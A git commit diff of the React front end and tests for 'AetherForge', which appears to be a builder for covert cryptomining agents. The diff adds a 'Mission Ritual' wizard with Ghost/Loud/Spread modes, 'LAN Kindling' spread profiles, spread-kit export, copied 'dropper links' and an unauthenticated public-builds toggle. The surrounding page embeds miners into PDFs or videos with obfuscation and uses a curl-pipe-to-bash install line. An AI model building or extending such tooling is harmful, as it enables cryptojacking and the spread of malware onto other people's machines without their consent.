feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
AetherForge
2026-06-04 22:36:17 -07:00
parent 1551bd5dad
commit a32860b0d9
154 changed files with 17383 additions and 601 deletions

View File

@@ -54,7 +54,7 @@ function QuickDeployPanel({ serverInfo }: { serverInfo: ServerInfo | null }) {
);
return (
<NeonCard accent="cyan" style={{ marginBottom: '1.25rem' }}>
<NeonCard accent="cyan" className="operator-deck-card operator-interactive" style={{ marginBottom: '1.25rem' }}>
<div style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.75rem' }}>
<span style={{ fontSize: '1.2rem' }}></span>
<div>
@@ -370,7 +370,7 @@ export default function AgentsPage() {
};
return (
<div className="page fade-in command-deck">
<div className="page fade-in command-deck operator-deck-page">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">FLEET REGISTRY</p>
@@ -400,7 +400,7 @@ export default function AgentsPage() {
</NeonCard>
) : (
<div className="agents-layout">
<div className="agents-list-panel">
<div className="agents-list-panel operator-deck-card operator-interactive">
<FleetToolbar
agents={agents}
filters={filters}
@@ -443,7 +443,7 @@ export default function AgentsPage() {
</div>
{selectedAgent && (
<NeonCard accent="cyan" className="agent-detail" hud>
<NeonCard accent="cyan" className="agent-detail operator-deck-card operator-interactive" hud>
<h2 className="font-display">{selectedAgent.name}</h2>
{(selectedAgent.tags?.length ?? 0) > 0 && (
<div style={{ marginBottom: '0.5rem' }}>

View File

@@ -354,6 +354,37 @@
color: #f87171;
}
.bm-tag-public {
color: #7dd3fc;
border-color: rgba(125, 211, 252, 0.45);
background: rgba(125, 211, 252, 0.1);
}
.bm-public-btn {
font-size: 0.78rem;
padding: 0.3rem 0.7rem;
background: rgba(56, 189, 248, 0.08);
border: 1px solid rgba(56, 189, 248, 0.3);
border-radius: 4px;
color: #7dd3fc;
cursor: pointer;
transition: background 0.15s, border-color 0.15s, box-shadow 0.15s;
white-space: nowrap;
}
.bm-public-btn:hover:not(:disabled) {
background: rgba(56, 189, 248, 0.18);
border-color: rgba(56, 189, 248, 0.55);
}
.bm-public-btn-active {
background: rgba(56, 189, 248, 0.16);
border-color: rgba(56, 189, 248, 0.6);
color: #38bdf8;
box-shadow: 0 0 8px rgba(56, 189, 248, 0.25);
font-weight: 600;
}
@media (max-width: 640px) {
.bm-grid {
grid-template-columns: 1fr;

View File

@@ -3,6 +3,7 @@
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import BuildManagerPage, {
fmtSize,
@@ -91,4 +92,19 @@ describe('BuildManagerPage', () => {
expect(screen.getByText('office-worker')).toBeTruthy();
});
});
it('toggles public flag via API', async () => {
vi.spyOn(api, 'setBuildPublic').mockResolvedValue({ ok: true, id: 'build-1', public: true });
render(
<MemoryRouter future={routerFuture}>
<BuildManagerPage />
</MemoryRouter>
);
await waitFor(() => expect(screen.getByText('office-worker')).toBeTruthy());
const btn = screen.getByRole('button', { name: /mark public/i });
await userEvent.click(btn);
await waitFor(() => {
expect(api.setBuildPublic).toHaveBeenCalledWith('build-1', true);
});
});
});

View File

@@ -108,6 +108,45 @@ function DeleteButton({ buildId, onDeleted, onError }: { buildId: string; onDele
);
}
function PublicButton({
buildId,
isPublic,
onToggled,
onError,
}: {
buildId: string;
isPublic: boolean;
onToggled: () => void;
onError: (msg: string) => void;
}) {
const [busy, setBusy] = useState(false);
const handleClick = async () => {
if (busy) return;
setBusy(true);
try {
await api.setBuildPublic(buildId, !isPublic);
onToggled();
} catch (e) {
onError(e instanceof Error ? e.message : 'Failed to update public flag');
} finally {
setBusy(false);
}
};
return (
<button
type="button"
className={`bm-public-btn${isPublic ? ' bm-public-btn-active' : ''}`}
disabled={busy}
onClick={() => void handleClick()}
title={isPublic ? 'Remove from login-page public builds list' : 'Expose on unauthenticated public builds API'}
>
{busy ? '…' : isPublic ? '🌐 Public' : '🌐 Mark public'}
</button>
);
}
function PinButton({
buildId,
pinned,
@@ -177,7 +216,7 @@ function BuildCard({
const sh = `curl -sL ${serverBase}/install.sh | bash`;
return (
<NeonCard accent={build.pinned ? 'green' : 'brass'} className={`bm-card${build.pinned ? ' bm-card-pinned' : ''}`}>
<NeonCard accent={build.pinned ? 'green' : 'brass'} className={`bm-card operator-deck-card operator-interactive${build.pinned ? ' bm-card-pinned' : ''}`}>
{/* ── Pinned banner ── */}
{build.pinned && (
<div className="bm-pinned-banner">
@@ -195,6 +234,7 @@ function BuildCard({
>
{platformLabel(build.platform)}
</span>
{build.public && <span className="bm-tag bm-tag-public">PUBLIC</span>}
{isFusion && <span className="bm-tag bm-tag-fusion">FUSION</span>}
{isUniversal && !isFusion && <span className="bm-tag bm-tag-universal">UNIVERSAL</span>}
</div>
@@ -294,6 +334,7 @@ function BuildCard({
<span className="bm-qr-label">Scan to download</span>
</div>
<div className="bm-action-btns">
<PublicButton buildId={build.id} isPublic={!!build.public} onToggled={onPinned} onError={onActionError} />
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} />
<button
type="button"
@@ -349,7 +390,7 @@ export default function BuildManagerPage() {
}, [navigate]);
return (
<div className="page fade-in bm-page">
<div className="page fade-in bm-page operator-deck-page">
<div className="bm-header">
<div>
<h1 className="font-display bm-title">Build Manager</h1>

View File

@@ -0,0 +1,171 @@
/* ── Forge seasonal skins (scoped to BuilderPage root) ───────────────────── */
.forge-skin--aether {
--forge-accent: var(--neon-cyan, #00d4ff);
--forge-accent-secondary: var(--neon-amber, #ffc107);
--forge-accent-dim: rgba(0, 212, 255, 0.38);
--forge-accent-bg: rgba(0, 212, 255, 0.07);
--forge-glow: rgba(0, 212, 255, 0.6);
--forge-border-glow: 0 0 22px -6px rgba(0, 212, 255, 0.45);
--forge-progress-from: #ff6a00;
--forge-progress-mid: #ffb300;
--forge-progress-to: #ffd700;
}
.forge-skin--ghost {
--forge-accent: #4d7fff;
--forge-accent-secondary: #8eb8ff;
--forge-accent-dim: rgba(77, 127, 255, 0.42);
--forge-accent-bg: rgba(45, 85, 200, 0.1);
--forge-glow: rgba(77, 127, 255, 0.65);
--forge-border-glow: 0 0 24px -5px rgba(77, 127, 255, 0.5);
--forge-progress-from: #2f5fd4;
--forge-progress-mid: #4d7fff;
--forge-progress-to: #a8c8ff;
}
.forge-skin--halloween {
--forge-accent: #b794f6;
--forge-accent-secondary: #ff8c3a;
--forge-accent-dim: rgba(183, 148, 246, 0.45);
--forge-accent-bg: rgba(100, 50, 160, 0.12);
--forge-glow: rgba(255, 140, 58, 0.58);
--forge-border-glow: 0 0 24px -5px rgba(183, 148, 246, 0.45), 0 0 12px -8px rgba(255, 140, 58, 0.35);
--forge-progress-from: #6d28d9;
--forge-progress-mid: #b794f6;
--forge-progress-to: #ff8c3a;
}
.forge-skin--wildfire {
--forge-accent: #ff8c3a;
--forge-accent-secondary: #ff4d00;
--forge-accent-dim: rgba(255, 120, 40, 0.48);
--forge-accent-bg: rgba(255, 70, 10, 0.11);
--forge-glow: rgba(255, 100, 20, 0.68);
--forge-border-glow: 0 0 26px -4px rgba(255, 120, 40, 0.55);
--forge-progress-from: #e63e00;
--forge-progress-mid: #ff8c3a;
--forge-progress-to: #ffcc66;
}
.forge-skin--crucible {
--forge-accent: #d4af37;
--forge-accent-secondary: #e85d4a;
--forge-accent-dim: rgba(212, 175, 55, 0.48);
--forge-accent-bg: rgba(160, 40, 25, 0.11);
--forge-glow: rgba(232, 93, 74, 0.62);
--forge-border-glow: 0 0 24px -5px rgba(212, 175, 55, 0.4), 0 0 14px -8px rgba(232, 93, 74, 0.4);
--forge-progress-from: #a67c00;
--forge-progress-mid: #e85d4a;
--forge-progress-to: #ffd700;
}
/* Subtle deck chrome */
[class*='forge-skin--'] .deck-hero::after {
background: linear-gradient(90deg, var(--forge-accent), var(--forge-accent-secondary, var(--forge-accent)), transparent);
box-shadow: 0 0 14px var(--forge-glow);
animation: forge-deck-accent-pulse 3s ease-in-out infinite;
}
@keyframes forge-deck-accent-pulse {
0%,
100% {
opacity: 0.85;
box-shadow: 0 0 10px var(--forge-glow);
}
50% {
opacity: 1;
box-shadow: 0 0 18px var(--forge-glow);
}
}
[class*='forge-skin--'] .deck-eyebrow {
color: var(--forge-accent);
}
[class*='forge-skin--'] .builder-form.card {
border-color: var(--forge-accent-dim);
box-shadow: var(--forge-border-glow, 0 0 18px -8px var(--forge-glow));
transition: border-color 0.35s ease, box-shadow 0.35s ease;
}
[class*='forge-skin--'] .endpoint-chip {
color: var(--forge-accent-secondary, var(--forge-accent));
}
[class*='forge-skin--'] .endpoint-chip:hover {
border-color: var(--forge-accent);
background: var(--forge-accent-bg);
}
[class*='forge-skin--'] .endpoint-chip.active {
border-color: var(--forge-accent);
color: var(--forge-accent);
background: var(--forge-accent-bg);
}
/* Operation mode chip select micro-animation */
[class*='forge-skin--'] .forge-mode-chip {
transition:
transform 0.22s cubic-bezier(0.34, 1.2, 0.64, 1),
box-shadow 0.25s ease,
border-color 0.18s ease,
background 0.18s ease,
color 0.18s ease;
}
[class*='forge-skin--'] .forge-mode-chip.active {
animation: forge-mode-chip-pop 0.42s cubic-bezier(0.34, 1.4, 0.64, 1);
box-shadow:
0 0 14px var(--forge-glow),
inset 0 0 10px color-mix(in srgb, var(--forge-accent) 12%, transparent);
}
@keyframes forge-mode-chip-pop {
0% {
transform: scale(0.9);
}
55% {
transform: scale(1.06);
}
100% {
transform: scale(1);
}
}
[class*='forge-skin--'] .forge-simple-banner {
border-color: var(--forge-accent-dim);
background: var(--forge-accent-bg);
}
[class*='forge-skin--'] .forge-progress-wrap {
border-color: var(--forge-accent-dim);
background: var(--forge-accent-bg);
}
[class*='forge-skin--'] .forge-progress-icon {
color: var(--forge-accent);
}
[class*='forge-skin--'] .forge-progress-stage {
color: var(--forge-accent-secondary, var(--forge-accent));
}
[class*='forge-skin--'] .forge-progress-pct {
color: var(--forge-accent);
}
[class*='forge-skin--'] .forge-progress-fill {
background: linear-gradient(
90deg,
var(--forge-progress-from),
var(--forge-progress-mid),
var(--forge-progress-to)
);
box-shadow: 0 0 8px var(--forge-glow);
}
[class*='forge-skin--'] .forge-progress-glow {
background: color-mix(in srgb, var(--forge-accent) 45%, transparent);
box-shadow: 0 0 10px 4px var(--forge-glow);
}

View File

@@ -2,7 +2,7 @@
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react';
import { cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import BuilderPage, { formatBytes } from './BuilderPage';
@@ -21,6 +21,12 @@ function renderBuilder(initialEntries = ['/forge']) {
);
}
function missionWizardScope() {
const root = screen.getByText('MISSION RITUAL — 3-STEP WIZARD').closest('.forge-mission-wizard');
if (!root) throw new Error('Mission wizard not found');
return within(root as HTMLElement);
}
describe('formatBytes', () => {
it('formats sub-kilobyte values as bytes', () => {
expect(formatBytes(512)).toBe('512 B');
@@ -184,4 +190,104 @@ describe('BuilderPage', () => {
screen.getByText(/Drop any file — PDF, video, document/i)
).toBeInTheDocument();
});
it('applies forge skin class from default operation mode', async () => {
localStorage.setItem('aetherforge-operation-mode', 'ghost_walk');
localStorage.setItem('aetherforge-forge-theme', 'auto');
const { container } = renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--ghost');
});
it('honors forge theme override over operation mode', async () => {
localStorage.setItem('aetherforge-operation-mode', 'ghost_walk');
localStorage.setItem('aetherforge-forge-theme', 'halloween');
const { container } = renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--halloween');
expect(container.querySelector('.command-deck')).not.toHaveClass('forge-skin--ghost');
});
it('updates forge skin when operation mode chip is selected', async () => {
localStorage.setItem('aetherforge-forge-theme', 'auto');
const { container } = renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
await userEvent.setup().click(screen.getByRole('button', { name: 'Wildfire' }));
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--wildfire');
});
it('applies crucible skin for Crucible Storm mode', async () => {
localStorage.setItem('aetherforge-operation-mode', 'crucible_storm');
localStorage.setItem('aetherforge-forge-theme', 'auto');
const { container } = renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--crucible');
});
it('applies halloween skin for Sigil Mask mode', async () => {
localStorage.setItem('aetherforge-operation-mode', 'sigil_mask');
localStorage.setItem('aetherforge-forge-theme', 'auto');
const { container } = renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--halloween');
});
it('renders mission ritual wizard with three step pills', async () => {
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
const wizard = missionWizardScope();
expect(screen.getByText('MISSION RITUAL — 3-STEP WIZARD')).toBeInTheDocument();
expect(wizard.getByRole('tab', { name: /Mode/i })).toBeInTheDocument();
expect(wizard.getByRole('tab', { name: /Profile/i })).toBeInTheDocument();
expect(wizard.getByRole('tab', { name: /Launch/i })).toBeInTheDocument();
expect(wizard.getByRole('button', { name: 'Ghost' })).toBeInTheDocument();
expect(wizard.getByRole('button', { name: 'Loud' })).toBeInTheDocument();
expect(wizard.getByRole('button', { name: 'Spread' })).toBeInTheDocument();
});
it('advances mission wizard from mode to profile to launch', async () => {
const user = userEvent.setup();
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
const wizard = missionWizardScope();
await user.click(wizard.getByRole('button', { name: 'Spread' }));
await user.click(wizard.getByRole('button', { name: 'Next →' }));
expect(wizard.getByText('Spread profile (optional)')).toBeInTheDocument();
await user.click(wizard.getByRole('button', { name: 'LAN Kindling' }));
await user.click(wizard.getByRole('button', { name: 'Next →' }));
expect(wizard.getByRole('button', { name: '🚀 Launch Ritual' })).toBeInTheDocument();
expect(wizard.getByLabelText('Campaign slug (?c=)')).toBeInTheDocument();
});
it('runs mission ritual and shows success modal with spread landing link', async () => {
vi.spyOn(api, 'buildAgent').mockResolvedValue({
success: true,
build_id: 'ritual-build-1',
file_name: 'worker-ritual.exe',
file_size: 4096,
download_url: '/api/v1/builds/ritual-build-1/download',
fusion_enabled: false,
obfuscated: false,
signed: false,
});
vi.spyOn(api, 'exportSpreadKit').mockResolvedValue(undefined);
const user = userEvent.setup();
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
const wizard = missionWizardScope();
await user.click(wizard.getByRole('button', { name: 'Spread' }));
await user.click(wizard.getByRole('button', { name: 'Next →' }));
await user.click(wizard.getByRole('button', { name: 'LAN Kindling' }));
await user.click(wizard.getByRole('button', { name: 'Next →' }));
await user.click(wizard.getByRole('button', { name: '🚀 Launch Ritual' }));
expect(await screen.findByText('Mission complete — links copied')).toBeInTheDocument();
expect(screen.getByRole('link', { name: 'Open spread landing' })).toHaveAttribute('href', '/spread/');
expect(api.buildAgent).toHaveBeenCalled();
expect(api.exportSpreadKit).toHaveBeenCalled();
});
});

View File

@@ -32,6 +32,7 @@ import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton';
import PoolPresetPicker from '../components/PoolPresetPicker';
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
import { useModalAmbientDuck } from '../context/AmbientMusicContext';
import { useForge } from '../context/ForgeContext';
import {
fusionPayloadKind,
@@ -43,7 +44,46 @@ import {
defaultEmbeddedName,
} from '../help/fusionMedia';
import { SPREAD_PROFILES, applySpreadProfile, type SpreadProfileId } from '../help/spreadProfiles';
import {
FORGE_THEME_EVENT,
OPERATION_MODES,
applyOperationMode,
forgeSkinClassName,
loadStoredForgeTheme,
loadStoredOperationMode,
resolveForgeSkin,
storeOperationMode,
type OperationModeId,
} from '../help/forgeOperationModes';
import {
MISSION_STEPS,
MISSION_STEP_LABELS,
applyMissionPresets,
copyMissionLinks,
missionStepStatus,
runForgeMission,
type MissionLinks,
type MissionStep,
} from '../help/forgeMission';
import {
MISSION_OPERATION_CHIPS,
MISSION_WIZARD_STEPS,
MISSION_WIZARD_STEP_LABELS,
canAdvanceWizardStep,
missionChipForMode,
nextWizardStep,
operationModeForChip,
prevWizardStep,
wizardPillStatus,
type MissionOperationChip,
type MissionWizardStep,
} from '../help/forgeMissionWizard';
import './Pages.css';
import './BuilderPage.css';
function forgePageClass(operationMode: OperationModeId, themeOverride: ReturnType<typeof loadStoredForgeTheme>): string {
return `page fade-in command-deck operator-deck-page ${forgeSkinClassName(resolveForgeSkin(operationMode, themeOverride))}`;
}
export function formatBytes(n: number): string {
if (n < 1024) return `${n} B`;
@@ -160,6 +200,30 @@ export default function BuilderPage() {
const [highlightFusionPrep, setHighlightFusionPrep] = useState(false);
const fusionPrepRef = useRef<HTMLDivElement>(null);
const [spreadProfile, setSpreadProfile] = useState<SpreadProfileId | ''>('');
const [operationMode, setOperationMode] = useState<OperationModeId>(loadStoredOperationMode);
const [forgeTheme, setForgeTheme] = useState(loadStoredForgeTheme);
const [missionCampaign, setMissionCampaign] = useState('forge-mission');
const [missionWizardStep, setMissionWizardStep] = useState<MissionWizardStep>('mode');
const [missionOperationChip, setMissionOperationChip] = useState<MissionOperationChip>(() =>
missionChipForMode(loadStoredOperationMode()),
);
const [missionStep, setMissionStep] = useState<MissionStep | null>(null);
const [missionBusy, setMissionBusy] = useState(false);
const [missionExportSkipped, setMissionExportSkipped] = useState(false);
const [missionModal, setMissionModal] = useState<MissionLinks | null>(null);
useModalAmbientDuck(!!missionModal);
useEffect(() => {
const syncTheme = () => setForgeTheme(loadStoredForgeTheme());
window.addEventListener(FORGE_THEME_EVENT, syncTheme);
window.addEventListener('storage', syncTheme);
return () => {
window.removeEventListener(FORGE_THEME_EVENT, syncTheme);
window.removeEventListener('storage', syncTheme);
};
}, []);
const forgeSkinClass = forgePageClass(operationMode, forgeTheme);
// Drive simulated stage progress while a single build is running
useEffect(() => {
@@ -248,7 +312,8 @@ export default function BuilderPage() {
const buildList = builds as BuildRecord[];
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, buildList);
setRecentBuilds(buildList);
setForm(applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates }));
const withDefaults = applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates });
setForm(applyOperationMode(withDefaults, loadStoredOperationMode()));
})
.catch((err) => {
console.error(err);
@@ -643,6 +708,72 @@ export default function BuilderPage() {
}
};
const selectMissionOperationChip = (chip: MissionOperationChip) => {
setMissionOperationChip(chip);
const modeId = operationModeForChip(chip);
setOperationMode(modeId);
storeOperationMode(modeId);
if (form) setForm(applyOperationMode(form, modeId));
};
const handleLaunchMission = async () => {
if (!form) return;
setError('');
setLastBuild(null);
setMissionModal(null);
setMissionExportSkipped(false);
setMissionWizardStep('launch');
const normalized = applyMissionPresets(form, operationMode, spreadProfile);
setForm(normalized);
const checks = runForgePreflight(normalized, !!fusionPrepFile);
if (preflightHasErrors(checks)) {
setError('Mission blocked — fix preflight errors before launching.');
return;
}
const serverBase = (normalized.server_url || serverInfo?.suggested_url || window.location.origin).replace(/\/$/, '');
const cancelToken = crypto.randomUUID();
cancelTokenRef.current = cancelToken;
setMissionBusy(true);
setMissionStep('configure');
setBuilding(true);
try {
const result = await runForgeMission({
form: normalized,
operationMode,
spreadProfile,
campaign: missionCampaign,
serverBase,
fusionPrepFile,
api,
cancelToken,
onStep: (step) => {
setMissionStep(step);
if (step === 'forge') startForge();
},
});
setMissionExportSkipped(result.exportSkipped);
setForm(normalized);
await copyMissionLinks(result.links);
setMissionModal(result.links);
await finishForgeSuccess(result.build);
} catch (err: unknown) {
const msg = err instanceof Error ? err.message : 'Mission failed';
if (msg !== 'build cancelled') {
setMissionStep('error');
setError(msg);
void loadRecentBuilds();
}
} finally {
cancelTokenRef.current = '';
setMissionBusy(false);
setBuilding(false);
}
};
const handleSubmit = async (e: React.FormEvent) => {
e.preventDefault();
if (!form) return;
@@ -701,7 +832,7 @@ export default function BuilderPage() {
const kind = form ? deriveDeliverableType(form) : 'single';
// Preserve the user's manually-entered server_url — don't overwrite with LAN IP on defaults refresh
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled, server_url: form.server_url || base.server_url }, { builds, endpointCandidates: candidates });
setForm(applyDeliverableType(merged, kind));
setForm(applyOperationMode(applyDeliverableType(merged, kind), operationMode));
setBlueprintMsg('✅ Recommended defaults applied');
setTimeout(() => setBlueprintMsg(''), 2500);
} catch (err: unknown) {
@@ -797,7 +928,7 @@ export default function BuilderPage() {
if (loadingDefaults) {
return (
<div className="page fade-in command-deck">
<div className={forgeSkinClass}>
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
@@ -811,7 +942,7 @@ export default function BuilderPage() {
if (!form) {
return (
<div className="page fade-in command-deck">
<div className={forgeSkinClass}>
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
@@ -838,7 +969,7 @@ export default function BuilderPage() {
const setupStatus = getSetupStatus(calibrateConfig);
return (
<div className="page fade-in command-deck">
<div className={forgeSkinClass}>
<SetupBanner status={setupStatus} />
{pendingReforgeBuild && (
<div className="reforge-confirm-banner form-error" role="alert">
@@ -1009,12 +1140,18 @@ export default function BuilderPage() {
)}
<div className="builder-layout builder-layout-wide">
<div className="card cheat-sheet-panel">
<div className="card cheat-sheet-panel operator-deck-card operator-interactive">
<h2>Quick links</h2>
<p className="form-hint">Full visual guide with pipeline, Fusion, AI, and troubleshooting.</p>
<Link to="/guide" className="btn btn-primary" style={{ marginBottom: '1rem', display: 'inline-block' }}>
<a
href="/docs/"
target="_blank"
rel="noopener noreferrer"
className="btn btn-primary"
style={{ marginBottom: '1rem', display: 'inline-block' }}
>
Open Field Guide
</Link>
</a>
<div className="cheat-sheet">
{SETUP_CHEATSHEET.map((item) => (
<div key={item.title} className="cheat-sheet-item">
@@ -1028,6 +1165,189 @@ export default function BuilderPage() {
<div className="card builder-form">
{simpleMode ? (
<>
<div className="forge-mission-wizard card operator-deck-card operator-interactive">
<p className="font-tech">MISSION RITUAL 3-STEP WIZARD</p>
<p className="form-hint" style={{ marginTop: 0 }}>
Guided flow: pick Ghost/Loud/Spread, choose a spread profile, launch the ritual.
Full forge fields below stay available for power users.
</p>
<div className="forge-mission-wizard-pills" role="tablist" aria-label="Mission wizard steps">
{MISSION_WIZARD_STEPS.map((step, idx) => {
const status = wizardPillStatus(step, missionWizardStep);
return (
<button
key={step}
type="button"
role="tab"
aria-selected={status === 'active'}
className={`forge-mission-wizard-pill ${status}`}
disabled={missionBusy}
onClick={() => setMissionWizardStep(step)}
>
<span className="forge-mission-wizard-pill-num">
{status === 'done' ? '✓' : idx + 1}
</span>
{MISSION_WIZARD_STEP_LABELS[step]}
</button>
);
})}
</div>
<div className="forge-mission-wizard-panel">
{missionWizardStep === 'mode' && (
<div>
<p className="label" style={{ marginBottom: '0.5rem' }}>Operation temperament</p>
<div className="forge-mission-chip-grid">
{MISSION_OPERATION_CHIPS.map((chip) => (
<button
key={chip.id}
type="button"
aria-label={chip.label}
className={`forge-mission-op-chip ${missionOperationChip === chip.id ? 'active' : ''}`}
style={{
borderColor: missionOperationChip === chip.id ? chip.color : undefined,
color: missionOperationChip === chip.id ? chip.color : undefined,
}}
disabled={missionBusy}
onClick={() => selectMissionOperationChip(chip.id)}
>
<strong>{chip.label}</strong>
<span>{chip.blurb}</span>
</button>
))}
</div>
</div>
)}
{missionWizardStep === 'profile' && (
<div>
<p className="label" style={{ marginBottom: '0.5rem' }}>Spread profile (optional)</p>
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
<button
type="button"
className={`endpoint-chip ${spreadProfile === '' ? 'active' : ''}`}
disabled={missionBusy}
onClick={() => {
setSpreadProfile('');
}}
>
None
</button>
{SPREAD_PROFILES.map((p) => (
<button
key={p.id}
type="button"
className={`endpoint-chip ${spreadProfile === p.id ? 'active' : ''}`}
style={{
borderColor: spreadProfile === p.id ? p.color : undefined,
color: spreadProfile === p.id ? p.color : undefined,
}}
title={p.blurb}
disabled={missionBusy}
onClick={() => {
setSpreadProfile(p.id);
if (form) setForm(applySpreadProfile(form, p.id));
}}
>
{p.label}
</button>
))}
</div>
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
{spreadProfile
? SPREAD_PROFILES.find((p) => p.id === spreadProfile)?.blurb
: 'Skip to forge without a spread profile preset.'}
</p>
</div>
)}
{missionWizardStep === 'launch' && (
<div>
<div className="form-group" style={{ marginBottom: '0.5rem', maxWidth: '20rem' }}>
<label className="label" htmlFor="mission-campaign">Campaign slug (?c=)</label>
<input
id="mission-campaign"
type="text"
className="input mono"
value={missionCampaign}
disabled={missionBusy}
onChange={(e) => setMissionCampaign(e.target.value)}
placeholder="forge-mission"
/>
</div>
{(missionBusy || missionStep === 'error') && (
<div className="forge-mission-steps" aria-live="polite">
{MISSION_STEPS.map((step) => {
const status = missionStep
? missionStepStatus(step, missionStep, missionExportSkipped)
: 'pending';
return (
<span key={step} className={`forge-mission-step ${status}`}>
{status === 'done' ? '✓' : status === 'active' ? '●' : status === 'skipped' ? '—' : status === 'error' ? '✕' : '○'}
{' '}
{MISSION_STEP_LABELS[step]}
{step === 'export' && missionExportSkipped ? ' (n/a)' : ''}
</span>
);
})}
</div>
)}
{!missionBusy && missionStep !== 'error' && (
<p className="form-hint" style={{ marginTop: 0 }}>
Ritual: Configure presets Forge (45 min timeout) Export spread ZIP Copy dropper links.
</p>
)}
</div>
)}
</div>
<div className="forge-mission-wizard-nav">
{prevWizardStep(missionWizardStep) && (
<button
type="button"
className="btn btn-outline btn-sm"
disabled={missionBusy}
onClick={() => {
const prev = prevWizardStep(missionWizardStep);
if (prev) setMissionWizardStep(prev);
}}
>
Back
</button>
)}
{missionWizardStep !== 'launch' && canAdvanceWizardStep(missionWizardStep, missionOperationChip, spreadProfile) && (
<button
type="button"
className="btn btn-primary btn-sm"
disabled={missionBusy}
onClick={() => {
const next = nextWizardStep(missionWizardStep);
if (next) setMissionWizardStep(next);
}}
>
Next
</button>
)}
{missionWizardStep === 'launch' && (
<>
<button
type="button"
className="btn btn-primary"
disabled={missionBusy || building || !canForge}
onClick={() => void handleLaunchMission()}
>
{missionBusy ? 'Ritual running…' : '🚀 Launch Ritual'}
</button>
{missionBusy && (
<button
type="button"
className="btn btn-danger btn-sm"
onClick={handleKillBuild}
title="Kill the running compiler immediately"
>
Kill Build
</button>
)}
</>
)}
</div>
</div>
<div className="forge-simple-banner card">
<p className="font-tech">RECOMMENDED DEFAULTS AUTO-SELECTED</p>
<p className="form-hint">{RECOMMENDED_DEFAULTS_BLURB}</p>
@@ -1035,6 +1355,29 @@ export default function BuilderPage() {
Reset to recommended defaults
</button>
</div>
<div className="form-group" style={{ marginBottom: '1rem' }}>
<label className="label">Operation mode presets</label>
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
{OPERATION_MODES.map((m) => (
<button
key={m.id}
type="button"
className={`endpoint-chip forge-mode-chip ${operationMode === m.id ? 'active' : ''}`}
style={{ borderColor: operationMode === m.id ? m.color : undefined, color: operationMode === m.id ? m.color : undefined }}
title={m.blurb}
onClick={() => {
setOperationMode(m.id);
storeOperationMode(m.id);
setMissionOperationChip(missionChipForMode(m.id));
if (form) setForm(applyOperationMode(form, m.id));
}}
>
{m.label}
</button>
))}
</div>
<p className="form-hint">{OPERATION_MODES.find((m) => m.id === operationMode)?.blurb}</p>
</div>
<div className="form-group" style={{ marginBottom: '1rem' }}>
<label className="label">Spread profile presets</label>
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
@@ -1106,7 +1449,7 @@ export default function BuilderPage() {
</p>
<form onSubmit={handleSubmit}>
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Identity"
badge="baked"
@@ -1218,7 +1561,7 @@ export default function BuilderPage() {
{/* ── Connection profile (advanced) ─────────────────────── */}
{!simpleMode && (
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Connection Profile"
badge="baked"
@@ -1310,7 +1653,7 @@ export default function BuilderPage() {
<FieldHint field="wallet" />
</div>
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Mining Pools"
badge="baked"
@@ -1343,7 +1686,7 @@ export default function BuilderPage() {
</div>
{/* ── GPU Mining (Ravencoin / KawPoW) ── */}
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="GPU Mining — Ravencoin"
badge="baked"
@@ -1409,7 +1752,7 @@ export default function BuilderPage() {
)}
</div>
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Deliverable"
badge="baked"
@@ -1446,7 +1789,7 @@ export default function BuilderPage() {
</div>
</div>
<div className="form-section">
<div className="form-section operator-deck-card operator-interactive">
<ForgeSectionHeader
title="Platform"
badge="baked"
